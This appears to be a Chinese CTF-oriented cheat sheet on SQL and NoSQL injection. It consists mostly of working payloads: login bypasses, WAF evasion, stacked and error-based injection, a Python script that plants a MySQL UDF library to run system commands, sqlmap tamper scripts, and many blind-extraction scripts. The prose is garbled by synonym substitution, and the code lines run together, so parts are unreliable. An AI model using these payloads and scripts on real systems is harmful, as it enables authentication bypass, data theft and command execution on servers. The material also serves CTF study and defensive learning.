phpurlsafe技巧_Web安然SQL注入的基石

1.id=1'or'1'='1'%23 无空格万能密码id=-1'or(id=26)and'1'='1 指定序号的万能密码2.对输出结果大略检测的，如检测到flag返回就拦截，可以通过加密来绕过

1' union select 1,2,to_base64(password) from user3-- - 如这里用base加密

3.空格过滤了可以用//绕过 。
事理：mysql中注释可以当空格用

这几个都能作为空格利用09 水平制表符0a 换行0b 垂直制表符0c 换页0d 回车

4.反引号可以用来标注字段和表5.md5(str,true)的绕过

ffifdyop,129581926211651571912466741651878684928这两个字符经由md5之后有or 6这个字符串，利用其进行绕过’ ‘or ’ 6’

6.sql注入中弱比较的利用，例子与事理如下

7.modify只能改字段数据类型完全约束，不能改字段名，但是change可以8.堆叠注入来修正密码绕过登录

0x61646d696e;update`table_name`set`pass`=1;# 至于为什么非得用十六进制登录，是由于下面这个没有字符串单引号包围，前面0x61646d696e（admin）也可以用0来代替（弱比较）图片注释注入：

1.图片的EXIF信息中有一个comment字段，也便是图片注释。
finfo类下的file()方法对其进行检测。
可以利用这个传入做事器中造成注入。
2.修正EXIF信息可以用exiftool工具 exiftool -overwrite_original -comment=3.上传文件文件名随机并不考虑类型时可能注入点在这

#先用 Handler 开启某个表HANDLER tbl_name OPEN [ [AS] alias]#后续可以Read读取，直到CloseHANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ]#第一种语句，通过指定索引和where条件查询，如果为多重索引，那就用，分隔并对每列都指定索引HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ]#第二种语句， 正常语法 HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ]#第三种语句，速率比第二种更快。
适用于InnoDB表HANDLER tbl_name CLOSE预处理注入：格式如下PREPARE name from '[my sql sequece]'; //预定义SQL语句 EXECUTE name; //实行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句实际操作

#基本条件得存在堆叠注入，可以用concat(char(115,101,108,101,99,116)代替selectusername=1';PREPARE xxx from select group_concat(column_name) from information_schema.columns where table_name='flag';EXECUTE xxx;

#改进，十六进制预处理注入,转后前面加个0x，和上面一句话的意思相同username=user1';PREPARE xxx from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c616727;EXECUTE xxx;

在线的十六进制转换网站 ：https://www.sojson.com/hexadecimal.html

1.基本格式

SELECT FROM information_schema.Routines WHERE ROUTINE_NAME = 'sp_name';# ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称

如果不该用 ROUTNE_NAME 字段指定存储过程或函数的名称，将查询出所有的存储过程或函数的定义。
如果存储过程和存储函数名称相同，则须要要同时指定 ROUTINE_TYPE 字段表明查询的是哪种类型的存储程序。

当页面存在更新的时候，结果不会显示出来。
但可以更新结果到指定的表中直接不雅观测。

例子：

#分页查询$sql = "update table_user set pass = '{$password}' where username = '{$username}';";#查库名、闭合引号password=1',username=database()#&username=1

当某些时候输入的单引号被过滤的时候

#分页查询$sql = "update table_user set pass = '{$password}' where username = '{$username}';";#反引号逃逸效果password=\#分页查询$sql = "update table_user set pass = ' \' where username = ' {$username}';";#可以看到，中间 \' where username = 这一段被标注。
注入点转至username末了查询库名的payloadpassword=1\&username=,username=(select database())#Insert注入：

例子如下：

//插入数据 $sql = "insert into ctf_user(username,pass) value('{$username}','{$password}');";username=1',database());username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()));#（）绕过空格过滤username=1',(select(database())));#&password=1username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#&password=1无列名注入：

一个例子来解释

select `3` from (select 1,2,3 union select from admin)a;1,admin中有三个字段，第三个字段为password。
子查询里面的语句将admin的3个列名作为别名2，子查询整体作为a表3，查询a表中的第三个字段，也便是password

大略扩展一下

#利用别名绕过反引号select b from (select 1,2,3 as b union select from admin)a;#多项查询select concat(`2`,0x2d,`3`) from (select 1,2,3 union select from admin)a limit 1,3;

1.高版本的mysql中 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表构造。

5.6.6开始，MySQL默认利用了持久化统计信息，即INNODB_STATS_PERSISTENT=ON，持久化统计信息保存在表mysql.innodb_table_stats和mysql.innodb_index_stats。


由于performance_schema过于繁芜，以是mysql在5.7版本中新增了sys schemma，本身不存储数据1.schema_auto_increment_columns，该视图的浸染大略来说便是用来对表自增ID的监控。
2.schema_table_statistics_with_buffer，非自增ID也能瞥见3.x$schema_table_statistics_with_buffer，同上

将表数据到一个文本文件中，并用LOAD DATA …INFILE语句规复数据

语句基本构造，以及参数含义

SELECT ... INTO OUTFILE 'file_name' [CHARACTER SET charset_name] [export_options]export_options: [{FIELDS | COLUMNS} [TERMINATED BY 'string']//分隔符 [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ] [LINES [STARTING BY 'string'] [TERMINATED BY 'string'] ]##############################################“OPTION”参数为可选参数选项，其可能的取值有：FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可为单个或多个字符。
默认“\t”。
FIELDS ENCLOSED BY '字符'：设置字符来括住字段的值，只能为单个字符。
默认不该用任何符号。
FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。
默认情形下不该用任何符号。
FIELDS ESCAPED BY '字符'：设置转义字符，只能为单个字符。
默认“\”。
LINES STARTING BY '字符串'：设置每行数据开头的字符，可以为单个或多个字符。
默认不该用任何字符。
LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。
默认值是“\n”。
##############################################个中具备写马条件的只有这三条语句FIELDS TERMINATED BYLINES STARTING BYLINES TERMINATED BY报错注入：

人为地制造缺点条件，使得查询结果能够涌如今缺点信息中

xpath语法缺点来进行报错注入紧张利用extractvalue和updatexml两个函数。
利用条件：mysql版本>5.1.5

#大略先容一下用的比较少的 extractvalue正常语法：extractvalue(xml_document,Xpath_string);第一个参数：xml_document是string格式，为xml文档工具的名称第二个参数：Xpath_string是xpath格式的字符串浸染：从目标xml中返回包含所查询值的字符串#第二个参数是哀求符合xpath语法的字符串，如果不知足哀求，则会报错，并且将查询结果放在报错信息里

大略mysql利用

#查数据库名：id='and(select extractvalue(1,concat(0x7e,(select database()))))#爆表名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#爆字段名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))#爆数据：id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))ps:一.0x7e=’~’,为不知足xpath格式的字符二. extractvalue()能查询字符串的最大长度为32，如果我们想要的结果超过32，就要用substring()函数截取或limit分页，一次查看最多32位双注入事理剖析:

征象：组合利用count(), group by, floor()，能够将查询的一部分以报错的形式显现出来

#经典的双注入语句select count(),concat((payload), floor( rand(0)2)) as a from information_schema.tables group by a#当from一个至少3行以上的表时，就会产生一个主键重复的报错，把你显示的信息布局到主键里面，mysql就会报错把这个信息给你显示到页面上。


问题所在：

1）floor(rand(0)2)天生的随机数列是伪随机。
（实在不太主要）

2）表中字段数大于三

3）每次查询和插入，rand(0)函数都会实行一次。
（关键）

第一次查询，查询key为0的字段，创造虚拟表为空，因此进行插入操作。
再次调用floor()，因此插入的key是1而不是0，还会将对应的count()值填在key的后面。
第二次查询调用floor，得到的值为1，表key为1的字段存在，因此此处的插入操作便是将coun()的值进行叠加。
第三次查询，此时查询的key为0，创造虚拟表中没有0，因此要进行插入操作。
调用floor()，得到了1，因此要插入一个key为1的字段。
而key为1的字段已经存在了，因此主键重复，MySQL会报错。


ps：rand可以用round代替，floor可以用ceil代替

1.udf 全称为：user defined function，用户自定义函数。
用户可以添加自定义的新函数到Mysql中，以达到功能的扩充，调用办法与一样平常系统自带的函数相同2.利用须要拥有将udf.dll写入相应目录（plugin）的权限。
select @@plugin_dir可以得到plugin目录路径3.将dll上传办法几种:.通过webshell上传、以hex办法直接上传4.udf获取办法，可以在sqlmap中获取在 \sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_

1.sqlmap中自带的shell以及一些二进制文件，为了防止误杀都经由异或编码，不能直策应用2.sqlmap 自带的解码工具cloak.py，在sqlmap\extra\cloak中打开命令行，来对lib_mysqludf_sys.dll_进行解码然后利用cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_3.接着就会在\sqlmap\data\udf\mysql\windows\64目录下天生一个dll的文件lib_mysqludf_sys.dll，可以利用lib_mysqludf_sys供应的函数实行系统命令。


5.一样平常将udf.dll文件进行hex编码，借助mysql中的hex函数，先将udf.dll移动到C盘中，这样路径也清晰一些，然后实行下面命令select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt'

6.攻击过程中，首先须要将lib_mysqludf_sys ( 目标为windows时，lib_mysqludf_sys.dll；linux时，lib_mysqludf_sys.so）上传到数据库能访问的路径下。
dll文件导入到plugin中，然后在mysql中实行create function sys_eval returns string soname 'udf.dll'

7.系统命令函数：

sys_eval，实行任意命令，并将输出返回。
sys_exec，实行任意命令，并将退出码返回。
sys_get，获取一个环境变量。
sys_set，创建或修正一个环境变量。


8.脚本运用

import requestsbase_url="http://api/"payload = []text = ["a", "b", "c", "d", "e"]udf = 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i in range(0,21510, 5000): end = i + 5000 payload.append(udf[i:end])p = dict(zip(text, payload))# zip() 函数用于将可迭代的工具作为参数，将工具中对应的元素打包成一个个元组，然后返回由这些元组组成的列表。
for t in text: url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t) r = requests.get(url) print(r.status_code)next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"rn = requests.get(next_url)#udf文件字符太大，为了绕过字符数限定，通过abcde五个文件分割再合并uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数r=requests.get(uaf_url)nn_url = base_url+"?id=';select sys_eval('cat /flag.');--+&page=1&limit=10"rnn = requests.get(nn_url)print(rnn.text)nosql注入（MongoDB）：

1.可以引起SQL攻击的语句：

1.重言式，永真式。
在条件语句中注入代码,使表达式剖断结果永真,从而绕过认证或访问机制。
比如实际中用$ne操作(不相等)的语法让他们无需相应的凭据即可造孽进入系统。
2.联合查询。
最常用的用法是绕过认证页面获取数据。
比如通过增加永真的表达式利用布尔OR运算符进行攻击,从而导致全体语句剖断出错,进行造孽的数据获取。
3.JavaScript注入。
这是一种新的漏洞,由许可实行数据内容中JavaScript的NoSQL数据库引入的。
JavaScript使在数据引擎进行繁芜事务和查询成为可能。
通报不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致造孽的数据获取或修改。
4.背负式查询。
在背负式查询中,攻击者通过利用转义特定字符(比如像回车和换行之类的结束符)插入由数据库额外实行的查询,这样就可以实行任意代码了。
5.跨域违规。
HTTP REST APIs是NoSQL数据库中的一个盛行模块,然而,它们引入了一类新的漏洞,它乃至能让攻击者从其他域攻击数据库。
在跨域攻击中,攻击者利用合法用户和他们的网页浏览器实行有害的操作。
在本文中,我们将展示此类跨站要求假造(CSRF)攻击形式的违规行为,在此网站信赖的用户浏览器将被利用在NoSQL数据库上实行造孽操作。
通过把HTML格式的代码注入到有漏洞的网站或者欺骗用户进入到攻击者自己的网站上,攻击者可以在目标数据库上实行post动作,从而毁坏数据库。


2.MongoDB条件操作符

$gt : >$lt : <$gte: >=$lte: <=$ne : !=、<>$in : in$nin: not in$all: all $or:or$not: 反匹配(1.3.3及以上版本)模糊查询用正则式：db.customer.find({'name': {'$regex':'.s.'} })/ : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}} : $ne { "age" : { "$ne" : 23}} : $lt { "age" : { "$lt" : 23}}/#实际例子//查询age = 22的记录db.userInfo.find({"age": 22});//相称于：select from userInfo where age = 22;//查询age > 22的记录db.userInfo.find({age: {$gt: 22}});//相称于：select from userInfo where age > 22;

3.最常见的绕过办法讲解

username=admin$password[$ne]=''就变成查询用户用户admin并且密码不即是空，一旦，系统有admin用户，就可以绕过认证。
当然，也可以修正user 不即是空字符或者某个字符例如：“1”，[username[$ne]=1$password[$ne]=1]这样就可以百分百绕过认证。
正则也是可以的username[$regex]=.&password[$regex]=.sqlmap运用：

#初始流程，一样平常是从库名到表名到字段到数据# 爆库名-u http:///api/?id=1 --referer "xxx.com" --dbs# 爆表名-u http:///?id=1 --referer "xxx.com" -D database --tables# 爆列名-u http:///api/?id=1 --referer "xxx.com" -D database -T table --columns# 爆字段-u http:///api/?id=1 --referer "xxx.com" -D database -T table -C pass --dump--referer=REFERER sqlmap可以在要求中假造HTTP中的referer，当--level参数设定为3或者3以上的时候会考试测验对referer注入

referrer先容：1.referer的精确拼法实在是是referer，是由拼写早期缺点造成的，保持向后兼容2.referer是http要求header 的一部分，当浏览器向web 做事器发送要求时，头信息里有包含referrer，它可以看到流量来源并且打算流量3.有些做事器会读取referer来判断域名来源并进行拦截过滤4.referer很随意马虎假造，以是随意马虎绕过

#--data修正要求办法，实战不许可直接--dump拖库sqlmap -u http:///api/ --data="id=1" --referer="xxx.com" --dump--data=DATA 通过POST发送数据参数，sqlmap会像检测GET参数一样检测POST的参数。


#利用--method="PUT"时和--headers="Content-Type: text/plain"合营利用，否则按表单提交，put吸收不到sqlmap.py -u "http:///api/index.php" --method=PUT --data="id=1" --referer=xxx.com --headers="Content-Type: text/plain" --dbms=mysql -D database -T table -C pass --dump

#有的web运用程序会在你多次访问缺点的要求时屏蔽掉你往后的所有要求，这样在sqlmap进行探测或者注入的时候可能造成缺点要求而触发这个策略，导致往后无法进行#每次要求url/api/index.php之前须要先要求URL/api/getTokn.php--safe-url 设置在测试目标地址前访问的安全链接，每隔一段韶光都会去访问一下--safe-freq 设置两次注入测试前访问安全链接的次数#安全访问路径和要求配置用于假造用户行为身份，列如有些模型会验证你得行为路径，可用此方法假造行为，在攻击行为中夹杂正常访问行为，列如广告浏览，商品产看等--cookie 设置HTTP Cookieheader 值#cookie得到可考了利用XSS攻击和嗅探，挟制类攻击--tamper 利用给定的脚本修改注入数据sqlmap.py -u http:///api/index.php --referer=xxx.com" --data="id=1" --cookie="s4bfpf9hdimap9vubriu6urdno" --method=PUT -headers="Content-Type:text/plain" --safe-url=http:///api/getToken.php" --safe-freq=1 --tamper=space2comment.py --dumptamper框架构造：

#temper框架构造#!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW # 当前脚本调用优先等级def dependencies(): # 声明当前脚本适用/不适用的范围，可以为空。
passdef tamper(payload, kwargs): # 用于修改Payload、以及要求头的紧张函数 return payload

#改进过的space2comment脚本#!/usr/bin/env pythonfrom lib.core.compat import xrange #xrange()函数返回的是一个天生器，函数形式为xrange(start, stop[, step])from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数， LOWEST = -100，LOWER = -50__priority__ = PRIORITY.LOWdef dependencies(): passdef tamper(payload, kwargs): """ Replaces space character (' ') with comments '//' 如果//被过滤也可以修正为其他等效的，如%0a，%09 Notes: Useful to bypass weak and bespoke web application firewalls """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False #依次为引号，双引号，初始位判断。
for i in xrange(len(payload)): if not firstspace: #判断是否为初始位，如果是的进入内层if if payload[i].isspace(): firstspace = True retVal += "//" #如果是空格就转义，并且修正初始位，然后重新判断。
continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote:#必须前面没有\和"防止改变原来语句的意愿 retVal += "//" continue elif payload[i] == "=": #用like替代= retVal += chr(0x0a)+'like'+chr(0x0a) continue retVal += payload[i] return retVal

''''''''''''''''''''''''''''''''''''#一次任务驱动型修正代码过程，这里面的是题目变换 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); }#base64加密后颠倒再base64加密，再颠倒function waf($str){ return preg_match('/ |\/', $str);}#过滤和空格''''''''''''''''''''''''''''''''''''#!/usr/bin/env pythonfrom lib.core.compat import xrangefrom lib.core.enums import PRIORITYimport base64__priority__ = PRIORITY.LOWdef tamper(payload, kwargs): #解密 payload = space2comment(payload) retVal = "" if payload: retVal = base64.b64encode(payload[::-1].encode('utf-8'))# 取从后向前（相反）的元素，和题目中相同（也是相反） retVal = base64.b64encode(retVal[::-1]).decode('utf-8')# 取从后向前（相反）的元素，和题目中相同（也是相反） return retValdef space2comment(payload): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr(0x0a) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == "": retVal += chr(0x31) #本来想试试换成其他的，结果网太卡了，先不试了，个人觉得这里无关紧要 continue elif payload[i] == "=": retVal += chr(0x0a)+'like'+chr(0x0a) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr(0x0a) continue retVal += payload[i] return retVal--os-shell在sqlmap中的利用条件和事理（mysql）：

一样平常利用是通过sqlmap写码，然后命令实行

1.secure-file-priv为空或者为指定路径，并能向网站中写入文件，针对mysql版今年夜于5.1

事理是通过udf提权后实行命令

实行sqlmap '''''' --os-shell时sqlmap紧张做的5件事：1、连接Mysql数据库并且获取数据库版本。
2、检测是否为数据库dba。
3、检测sys_exec和sys_eval2个函数是否已经被创建了。
4、上传dll文件到对应目录。
5、用户退出时默认删除创建的sys_exec和sys_eval2个函数。


mysql limit 后方注入点

#首先先看mysql的语法SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [ FROM table_references #table_references 可以表示多张表的组合，指天命据源 [WHERE where_condition] [GROUP BY {col_name | expr | position} #用来对查询结果做聚类 [ASC | DESC], ... [WITH ROLLUP]] #结果排序 [HAVING where_condition] #类似where进行结果过滤，不会利用优化，实行速率比where慢很多 [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] #限定返回结果 [PROCEDURE procedure_name(argument_list)] #处理结果集中的数据，逐渐废弃 [INTO OUTFILE 'file_name' export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR UPDATE | LOCK IN SHARE MODE] ]

可以看到在LIMIT后面可以跟两个函数，`PROCEDURE 和 INTO，INTO除非有写入shell的权限，否则是无法利用的

利用PROCEDURE函数进行注入:

extractvalue(目标xml文档，xml路径):对XML文档进行查询的函数?page=1&limit=7 procedure analyse(extractvalue(1,concat(666,database(),666)),1)###updatexml(目标xml文档，xml路径，更新的内容):更新xml文档的函数?page=1&limit=7 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)###这些都是报错回显的办法，如果是没有回显的情形可以利用盲注，sleep在个中会过滤，需利用其他延时办法SQL盲注常用脚本模板：

实在写脚本的几件事便是先找到注入点，再通过标志判断语句是否成功实行，末了将结果拼接。

#1.二分法的韶光盲注import requests url = "http:/api/v5.php?id=1' and "result = ''i = 0while True: i = i + 1 head = 32 #对付找flag来说可以优化到45 即-这里 tail = 127 #后面的数字不主要，由于访问到了就重置到下一轮了 while head < tail: mid = (head + tail) >> 1 payload = f'1=if(ascii(substr((select password from flag_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -' try: r = requests.get(url + payload, timeout=0.5) #通过设置最大延迟来判断语句是否成功实行 tail = mid except Exception as e: head = mid + 1 if head != 32: result += chr(head) else: break print(result)#2.双重循环判断整体覆盖盲注import requestsurl = 'http:/select-waf.php'flagstr = r"{abcdfeghijklmnopqrstuvwxyz-0123456789}" #r表示无转义res = ""for i in range(1,46): #46个是由于根据实际flag格式（45个字符） for j in flagstr: data = { 'tableName': f"(flag_user)where(substr(pass,{i},1))regexp('{j}')" } r = requests.post(url, data=data) if r.text.find("$user_count = 1;") > 0: res += j print(res) break#3.左/右连接盲注import requestsurl = "http:/select-waf.php"flag = 'flag{'for i in range(45): if i <= 5: #flag的前几个字母固定了，以是可以适当过滤节省韶光 continue for j in range(45,127):#- 为45，只会涌现数字字母且都在-之后 data = { "tableName": f"flag_user as a right join flag_user as b on (substr(b.pass,{i},1)regexp(char({j})))" #createNum(i)可以替代数字 }#但on里面的语句成立的时候，返回一，也便是没有任何判断 r = requests.post(url,data=data) if r.text.find("$user_count = 43;")>0: #提前通过左/右连接加上无判断数量得到正常放回时的count数量 if chr(j) != ".": flag += chr(j) print(flag.lower()) if chr(j) == "}": exit(0) break#4.检索字符串盲注脚本import requestsurl = "http:/api/"strs = '{qwertyuiopasdfghjklzxcvbnm-0123456789}'flag = "flag{"for i in range(100): for j in strs: data = { "username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),#直接在显示页面中找到flag{,然后一个一个拼接 "password": 9 } req = requests.post(url=url, data=data) if "\\u5bc6\\u7801\\u9519\\u8bef" in req.text: flag += j print(flag) if j == "}": exit(1)''''''''''''''''''''''''''''''''''''select if(load_file('/var/www/html/flag.php')like('flag{%'),1,0);select if(load_file('/var/www/html/flag.php')regexp('flag{'),1,0);select if(load_file('/var/www/html/flag.php')rlike('flag{'),1,0);#其等效的字符串检索''''''''''''''''''''''''''''''''''''#5.利用账号密码缺点返回不同的盲注import requestss = "q{wertyuiopasdfghjklzxcvbnm1234567890_-}"url = "http:/api/"flag = ''for i in range(1, 100): low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "'or (substr((select group_concat(f1ag) from flag_fl0g),{},1))>'{}'#".format(i, chr(mid))#截取flag字符和数值比较 data = { "username": payload, "password": 1 } r = requests.post(url, data=data) print(low, mid, high) if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text: #当返回密码缺点，则证明username中止定为真，拉高low low = mid + 1 else: #反之拉低high high = mid mid = (low + high) // 2 flag += chr(mid) print(flag) if mid == 32: print(flag) break'''''''''''' '''''' '''''' #其他等效操作函数left(str,index) 从左边第index开始截取 right(str,index) 从右边第index开始截取 substring(str,index) 从左边index开始截取 mid(str,index,ken) 截取str 从index开始,截取len的长度 lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)两边添补给定的padstr到指定的长度、#下面演示用left进行盲注'''''''''''' '''''' '''''' #6.利用账号密码缺点返回不同的盲注(left)import requestsimport stringdef main(): url = "http:/api/" flagstr = string.digits + string.ascii_lowercase + " {}-_," result = "" for i in range(1, 50): for j in flagstr: data = { "username": "admin' and if(left((select f1ag from flag_flxg),{0})=('{1}'),1,power(9999,99))#".format( i, result + j),#由于left是一贯截取，以是每次都给它累计然后拼接上去 "password": "123" } html = requests.post(url=url, data=data) print(result, html.text, data["username"]) if r"\u5bc6\u7801\u9519\u8bef" in html.text: result += j print(result) if j == "}": exit(0) break print("result:" + result)if __name__ == '__main__': main()'''''''''''' '''''' '''''' power绕过事理admin' and 1=1# //密码缺点admin' and 1=2# //用户名不存在admin' and if(1=1,1,power(9999,99))# //密码缺点admin' and if(1=2,1,power(9999,99))# //用户名不存在'''''''''''' '''''' '''''' #7.累加判断import requestsurl = "http:/api/"final = ""stttr = "flag{}-_1234567890qwertyuiopsdhjkzxcvbnm"for i in range(1,45): //flag总长度为44 for j in stttr: final += j payload = f"admin' and if(locate('{final}',(select f1ag from flag_flxg limit 0,1))=1,1,2)='1"#LOCATE(s1,s)，从字符串 s 中获取 s1 的开始位置，有则可以通过用户名检测 data = { 'username': payload, 'password': '1' } r = requests.post(url,data=data) if "密码缺点" == r.json()['msg']: print(final) else: #当没有绕过用户名检测的时候，就让final重回上一次的结果 final = final[:-1]'''''''''''' '''''' '''''' 该当还可以用instr等函数，LOCATE、POSITION、INSTR、FIND_IN_SET、IN、LIKE '''''''''''' '''''' '''''' #8.密码与id切换爆破注入import requestsurl = "http:/api/"for i in range(100): if i == 0: data = { 'username': '0;alter table flag_user change column `pass` `ppp` varchar(255);alter table flag_user ' 'change column `id` `pass` varchar(255);alter table flag_user change column `ppp` `id` ' 'varchar(255);',#利用中间数据'ppp'作为过渡，将ctfshow_user表中的pass和id字段互换，然后用下面的password批量修正（也便是现在的密码) 'password': f'{i}' } r = requests.post(url, data=data) data = { 'username': '0x61646d696e', 'password': f'{i}' } r = requests.post(url, data=data)#第二次爆破式登录即可 if "上岸成功" in r.json()['msg']: print(r.json()['msg'])#登录成功返回页面所有json数据即可 break#9.benchmark替代sleep延时import requestsimport timeurl='http:/api/index.php'flag=''for i in range(1,100): #经典的二分法 min=32 max=128 while 1: j=min+(max-min)//2 if min==j: flag+=chr(j) print(flag) if chr(j)=='}': exit() break payload="if(ascii(substr((select group_concat(flagaabc) from table_flagxccb),{},1))<{},benchmark(1000000,md5(1)),1)".format(i,j)# payload="1) or if((select group_concat(flagaac) from table_flagxccb) like '{}%',(select count() from information_schema.columns A, information_schema.columns B),0)-- -".format(flag+j) （ 笛卡尔表）'''BENCHMARK(count,expr)BENCHMARK()函数重复countTimes次实行表达式expr，它可以用于计时MySQL处理表达式有多快。
结果值总是0,报告查询的实行韶光。
只要我们把参数count 设置大点，那么那实行的韶光就会变长''' data={ 'ip':payload, 'debug':0 } try: r=requests.post(url=url,data=data,timeout=0.5) min=j except: max=j time.sleep(0.2) time.sleep(1) #每条要求之间间隔一定的韶光,以免做事器太卡,提高准确率

可以看到MD5()实行比SHA1()要快

笛卡尔积：所有连接办法都会天生临时笛卡尔积表，笛卡尔积是关系代数里的一个观点，表示两个表中的每一行数据任意组合(交叉连接)

(由于连接表是一个很耗时的操作) AxB=A和B中每个元素的组合所组成的凑集，便是连接表 SELECT count() FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; select from table_name A, table_name B select from table_name A, table_name B，table_name C select count() from table_name A, table_name B，table_name C 表可以是同一张表 实际运用中，笛卡尔积本身大多没有什么实际用途，只有在两个表连接时加上限定条件，才会有实际意义GET_LOCK()加锁GET_LOCK(key,timeout) 须要两个连接会话

session A select get_lock('test',1); session B select get_lock('test',5);

直到关闭连接会话结束，锁才会开释。
锁是运用程序级别的，在不同的mysql会话之间利用，是名字锁，不是锁详细某个表名或字段，详细是锁什么完备交给运用程序。
它是一种独占锁，意味着哪个会话持有这个锁，其他会话考试测验拿这个锁的时候都会失落败。

比如这里考试测验10次已经有锁的，（1+5）10=60s的延时就产生了

#加大pattern的打算量，通过repeat的参数可以掌握延时是非select rpad('a',4999999,'a') RLIKE concat(repeat('(a.)+',30),'b');RPAD(str,len,padstr)用字符串 padstr对 str进行右边补充直至它的长度达到 len个字符长度，然后返回 str。
如果 str的长度长于 len，那么它将被截除到 len个字符。
mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'repeat(str,times) 复制字符串times次纯挚实行延时

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+b'#等同于 sleep(5)

连续承接上面盲注脚本

#10.自定义数字产生函数，利用true编码数字，绕过传参的数字检测import requestsdef generateNum(num): res = 'true' if num == 1: return res else: for i in range(num - 1): res += "+true" return resurl = "http:/api/"i = 0res = ""while 1: head = 32 tail = 127 i = i + 1 while head < tail: mid = (head + tail) >> 1 payload = "select flagasabc from table_flagas" params = { "u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')" } r = requests.get(url, params=params) # print(r.json()['data']) if "userAUTO" in r.text:#username便是它 head = mid + 1 else: tail = mid if head != 32: res += chr(head) else: break print(res)#11.直接通过flag表的规律爆破表名，用途不大import requestskk="ab"url1="http:/api/insert.php"url2="http:/api/?page=1&limit=100"for i in kk: for j in kk: for m in kk: for n in kk: for c in kk: flag="flag"+i+j+m+n+c print(flag) data={ 'username':"1',(select(group_concat(flag))from({})));#".format(flag), 'password':1 } res=requests.post(url=url1,data=data).text r=requests.get(url=url2).text #一个用来改，一个用来看 print(r) if "flag{" in r: print(res) exit()

实在除了列举的这些以外，还有很多种注入办法。
比如SMTP Header注入，IMAP命令行注入，POP3命令行注入，SMTP邮件命令行注入等。
学习之路还有很长，争取早日当菜鸡！

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